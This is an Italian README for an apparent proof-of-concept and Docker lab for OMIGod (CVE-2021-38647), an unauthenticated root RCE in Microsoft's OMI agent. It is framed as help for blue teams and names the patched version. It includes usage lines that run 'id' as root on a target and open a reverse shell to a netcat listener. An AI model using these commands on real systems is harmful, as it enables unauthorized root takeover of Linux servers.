
OMIGod / CVE-2021-38647 POC e ambiente demo
Open Management Infrastructure (OMI, in precedenza noto come NanoWBEM) è un server di gestione open source del Common Interface Model (CMI) creato da Microsoft e The Open Group. OMI è un agente software presente nella maggior parte delle VM Linux di Azure, ma molti non conoscono la sua presenza.
Il 14 settembre il Wiz Research Team ha pubblicato un articolo che descrive quattro vulnerabilità in OMI. Le vulnerabilità sono descritte come facili da sfruttare e possono consentire agli aggressori l'esecuzione arbitraria di codice remoto e l'escalation a root con una singola richiesta.
CVE-2021-38647 è una vulnerabilità RCE non autenticata sfruttata inviando una richiesta HTTP appositamente creata. CVE-2021-38647 consente a un aggressore di eseguire comandi come utente dell'agente OMI, normalmente root.
Gli agenti OMI sono ampiamente utilizzati sui server Linux di Azure quando sono in uso questi servizi:
Secondo Microsoft, la maggior parte dei servizi Azure che utilizzano OMI lo distribuiscono senza esporre la porta HTTP/S.
L'obiettivo di questo progetto è creare un ambiente demo facilmente replicabile in modo che i Blue team possano trovare più facilmente gli IoC. Per raggiungere questo obiettivo creo un'immagine docker personalizzata configurata con la versione vulnerabile di OMI.
A seconda della configurazione, potrebbe essere necessario sudo.
# Building the docker container
docker build . -t omi-god
# Running it
docker run --name=omi-god -it omi-god
Ora avrai un terminale root per il container docker. Dovresti ottenere l'indirizzo IP del container docker, cosa che può essere fatta con il comando:
# Add it to clipboard
docker inspect omi-god | jq ".[0].NetworkSettings.Networks.bridge.IPAddress" | cut -d\" -f2 | xclip -selection clipboard
# Show it in terminal
docker inspect omi-god | jq ".[0].NetworkSettings.Networks.bridge.IPAddress" | cut -d\" -f2
Una volta configurato, puoi provare a eseguire qualsiasi PoC. Per eseguire quello in questo progetto, esegui i seguenti comandi:
# Execute any command as root
python3 omigod.py -t 172.17.0.2 -c id
-> uid=0(root) gid=0(root) groups=0(root)
# Get a reverse shell as root on the server
python3 omigod.py -t 172.17.0.2 -r -l 172.17.0.1 -p 4444 & nc -lnvp 4444
Il video di IppSec riguardo questo exploit e la configurazione di un ambiente simile - https://www.youtube.com/watch?v=TXqi1BKtcyM L'ambiente configurato in questo progetto è basato sul video di IppSec.
PoC di horizon3ai - https://github.com/horizon3ai/CVE-2021-38647 Il PoC in questo progetto è basato sul PoC di horizon3ai.
Per maggiori dettagli consulta il lavoro dei ricercatori originali: https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure
Tutte le versioni di OMI precedenti alla v1.6.8-1 sono vulnerabili.
È stata pubblicata una versione patchata che corregge questo exploit. Aggiorna e assicurati che la versione sia 1.6.8.1 o successiva.
Questo software è stato creato esclusivamente per scopi di ricerca accademica e per lo sviluppo di tecniche difensive efficaci, e non è pensato per essere utilizzato per attaccare sistemi se non esplicitamente autorizzati. I manutentori del progetto non sono responsabili dell'uso improprio del software. Usalo in modo responsabile.